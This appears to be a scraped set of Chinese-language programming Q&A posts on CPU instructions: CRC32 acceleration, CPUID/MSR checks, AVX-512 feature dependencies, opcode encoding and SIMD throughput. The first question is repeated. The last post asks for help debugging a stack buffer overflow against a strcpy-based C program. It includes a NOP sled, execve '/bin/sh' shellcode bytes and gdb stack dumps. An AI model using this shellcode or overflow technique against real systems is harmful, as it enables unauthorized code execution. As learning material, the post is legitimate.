最近在研究CRC32计算加速的问题,是针对CRC32b(多项式0x04C11DB7)类型的,但是发现crc32
Intel的SSE4.2里面的指令都是针对CRC32c(多项式0x1EDC6F41)进行加速的,所以想问一下还有没有其他的方法可以加速这个运算?
这是英特尔的说明链接crc32
。https://www.felixcloutier.com/x86/crc32
最近在研究CRC32计算加速的问题,是针对CRC32b(多项式0x04C11DB7)类型的,但是发现crc32
Intel的SSE4.2里面的指令都是针对CRC32c(多项式0x1EDC6F41)进行加速的,所以想问一下还有没有其他的方法可以加速这个运算?
这是英特尔的说明链接crc32
。https://www.felixcloutier.com/x86/crc32
Intel 手册指出,需要检查 CPUID.01:EDX[5] 以查看 RDMSR 和 WRMSR 指令是否可用。如果我使用 CPUID 已经发现某个 MSR(在我的情况下是 IA32_EFER.NXE)的特定位受支持,这是否自动意味着 RDMSR 和 WRMSR 也受支持。从逻辑上讲,应该是这样,但我没有看到明确说明。
我正在编写一个使用 vfmadd231ph(来自 avx512_fp16)和 vpbroadcastw(来自 avx512bw)的程序。该程序在运行时检测 CPU 功能并分派到代码路径(包括需要 avx512_fp16 和 avx512bw 的路径)。我的问题是:在存在 avx512_fp16 的情况下,avx512bw 是否得到保证?看过这篇文章: 这里引用了英特尔文档“AVX512_FP16* ISA 扩展要求实现 AVX512BW 功能...”
因此,对于英特尔机器来说,假设这一点似乎是可以的。
AMD 机器怎么样?我找不到有关此问题的任何信息?与英特尔相比,AMD 关于 Avx512 的文档总体上有所欠缺。
Clang 似乎认为这适用于所有 avx512_fp16,无论供应商是谁。我想这样做是安全的。
我之所以询问是因为我正在使用内联汇编,如果不能保证这一点,那么当 avx512bw 存在或不存在时,我将不得不有单独的 2x 代码路径,而我想避免这种情况。
谢谢
我期待着 AMD 能给出一份规范。
编辑 1:此外,据我所知,没有 AMD CPU 具有 avx512_fp16。因此,我更想问的是未来的 CPU,如果有这样的 CPU 的话。
编辑2:更具体地说,我询问是否有其他人有我错过的更多信息和在线文档。
以下说明:
0xffffd096 push eax
0xffffd097 push 0x41414141
Oxffffd09c push 0x42424242
对堆栈的影响如下:
0xffffd024|+0x0000 "BBBBAAAA" <- esp
0xffffd028|+0x0004 "AAAA"
0xffffd02c|+0x0008 Ox00000000
push imm \x68
为什么堆栈指针会自动引用合并后的两个连续操作码,与之前的push eax \x50
操作码不同?
一些指令及其对应的操作码:
xor eax, eax \x31\xc0
xor ecx, ecx \x31\xc9
xor edx, edx \x31\xd2
xor ebx, ebx \x31\xdb
有人可以解释一下第二个字节背后的计算(它按照列表的 9 个步骤增加)以及\xc0
“基数”的原因吗?
我需要想出一些通配符来匹配某些指令。
例如,在 x86 上,要匹配大多数 CALL 指令,以下模式就足够了:
E8 ?? ?? ?? ??
其中E8是操作码,接下来的 4 个字节是要跳转到的相对地址。
但是arm64的操作码,特别是A64指令集似乎更令人困惑,比如,我有这两个指令:
0A696938 ldrb w10, [x8, x9] ;
EB834039 ldrb w11, [sp, #0xc0 + var_A0]
如果您只查看编码0A696938和EB834039,则没有明显的关系。如何获取此ldrb指令的操作码以创建类似于 x86 的模式?
感觉操作码不像 x86 那样占用整个字节
我在 asm 中有以下循环:
.LBB5_5:
vaddpd ymm0, ymm0, ymmword, ptr, [rdi, +, 8*rcx]
vaddpd ymm1, ymm1, ymmword, ptr, [rdi, +, 8*rcx, +, 32]
vaddpd ymm2, ymm2, ymmword, ptr, [rdi, +, 8*rcx, +, 64]
vaddpd ymm3, ymm3, ymmword, ptr, [rdi, +, 8*rcx, +, 96]
add rcx, 16
cmp rax, rcx
jne .LBB5_5
[f64]
这是一个更大函数的一部分,该函数计算Rust 中数组的总和。
我使用标准板条箱对这段代码进行了基准测试,并在我的 Rocket Lake CPU (i7 11700K) 上得到了1 000 000 000
双打周期200 000 000
在各种来源中,我发现该 CPU 上浮点加法的延迟为 4 个周期。这意味着每个vaddpd
只能每 4 个周期运行一次,因为它们依赖于前一个总和。这意味着我每个周期最多只能进行 4 次双加法。
我的测量显示它每个周期添加 5 次。(它使用RDTSC
指令来测量它,我不确定这是否会出现问题)
我主要想了解正在发生的事情并测试我对 CPU 管道的理解程度。
找到eip
偏移量后,我尝试向我的程序输入一些 shell 代码。使用以下命令run $(python -c 'print("A"*108 + "BBBB")')
我得到以下输出
Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
现在,当我尝试添加 shell 代码时出现问题。当我输入
run $(python -c 'print("\x90"*63 + "\xeb\x0b\x5b\x31\xc0\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xe8\xf0\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68" + "B" * 20)')
我没有得到我所期望的结果,返回地址被 B 覆盖,但我得到以下结果
Program received signal SIGSEGV, Segmentation fault.
0x90c290c2 in ?? ()
当我将 B 的数量增加到 48 并将 NOP 的数量减少到 35 时,它确实有效,但我不太明白为什么这不适用于返回地址的更多 NOP 和更少的 B。我不明白的另一件事是我在堆栈中没有看到任何 NOP。
(gdb) x/200x $esp
0xffffd2a0: 0x42424242 0x42424242 0x42424242 0x42424242
0xffffd2b0: 0x42424242 0x42424242 0x42424242 0x42424242
0xffffd2c0: 0x42424242 0x42424242 0x00424242 0x00000001
0xffffd2d0: 0xffffd398 0x68e47ce5 0x9e780f0a 0x00000000
0xffffd2e0: 0x00000000 0x00000000 0xffffd3e0 0x0804b519
0xffffd2f0: 0x00000000 0x08049c76 0xffffd3e0 0x0804b52d
0xffffd300: 0x00000000 0x00000000 0x00000000 0x0804968d
0xffffd310: 0x00000040 0x0000000c 0x00000040 0x00000008
0xffffd320: 0x00040000 0x00000040 0x00002000 0x00300000
0xffffd330: 0x00090000 0x00040000 0x00002000 0x00008000
0xffffd340: 0xffffd370 0xffffd3d4 0x00000002 0x00000001
0xffffd350: 0x00000006 0x00000045 0x00000001 0x00300000
0xffffd360: 0x000c0000 0x00000004 0x00000001 0x00000000
0xffffd370: 0xffffffff 0x00000000 0x080e3620 0x00000000
0xffffd380: 0x00000000 0x00000000 0xffffd3b0 0x080e3ff4
0xffffd390: 0x00000002 0x00000000 0x00000000 0x08049688
0xffffd3a0: 0x00000000 0x00000000 0x00000000 0x08049688
0xffffd3b0: 0x0804968d 0x00000002 0xffffd3d4 0x00000000
0xffffd3c0: 0x00000000 0x00000000 0xffffd3cc 0x00000000
0xffffd3d0: 0x00000002 0xffffd5d2 0xffffd609 0x00000000
0xffffd3e0: 0xffffd6a5 0xffffd6b5 0xffffd6c9 0xffffd6ff
0xffffd3f0: 0xffffd70c 0xffffd746 0xffffd773 0xffffd78a
0xffffd400: 0xffffd79e 0xffffd7d1 0xffffd80f 0xffffd826
0xffffd410: 0xffffd83e 0xffffd881 0xffffd891 0xffffd89d
0xffffd420: 0xffffd8bd 0xffffd8cc 0xffffd8ff 0xffffd90a
0xffffd430: 0xffffd925 0xffffd93a 0xffffd94f 0xffffd95e
0xffffd440: 0xffffd97e 0xffffd9ac 0xffffd9bb 0xffffd9c4
0xffffd450: 0xffffda14 0xffffda22 0xffffda33 0xffffda48
0xffffd460: 0xffffda60 0xffffda6c 0xffffdaf0 0xffffdb01
0xffffd470: 0xffffdb35 0xffffdb64 0xffffdbb0 0xffffdbbf
0xffffd480: 0xffffdbd4 0xffffdbeb 0xffffdc09 0xffffdc1d
0xffffd490: 0xffffdc25 0xffffdc3b 0xffffdc6d 0xffffdc78
0xffffd4a0: 0xffffdc80 0xffffdc99 0xffffdcb4 0xffffdcbf
0xffffd4b0: 0xffffdcd0 0xffffdcef 0xffffdd21 0xffffdd35
0xffffd4c0: 0xffffdd53 0xffffdd6a 0xffffdd83 0xffffdda1
0xffffd4d0: 0xffffde16 0xffffde2c 0xffffde3c 0xffffdf08
0xffffd4e0: 0xffffdf1a 0xffffdf50 0xffffdf6c 0xffffdf84
0xffffd4f0: 0xffffdf9b 0x00000000 0x00000020 0xf7ffc570
0xffffd500: 0x00000021 0xf7ffc000 0x00000033 0x000006f0
0xffffd510: 0x00000010 0xbfebfbff 0x00000006 0x00001000
0xffffd520: 0x00000011 0x00000064 0x00000003 0x08048034
0xffffd530: 0x00000004 0x00000020 0x00000005 0x00000009
0xffffd540: 0x00000007 0x00000000 0x00000008 0x00000000
0xffffd550: 0x00000009 0x08049660 0x0000000b 0x000003e8
0xffffd560: 0x0000000c 0x000003e8 0x0000000d 0x000003e8
0xffffd570: 0x0000000e 0x000003e8 0x00000017 0x00000000
0xffffd580: 0x00000019 0xffffd5bb 0x0000001a 0x00000002
0xffffd590: 0x0000001f 0xffffdfc1 0x0000000f 0xffffd5cb
0xffffd5a0: 0x0000001b 0x0000001c 0x0000001c 0x00000020
0xffffd5b0: 0x00000000 0x00000000 0x62000000 0x9e72e32a
我使用的是 Python 3。shell 代码长 25 个字节。我已经禁用了 ASLR。这是我的 C 代码
#include <stdio.h>
#include <string.h>
int main(int argc, char** argv){
char buffer[100];
strcpy(buffer, argv[1]);
return 0;
}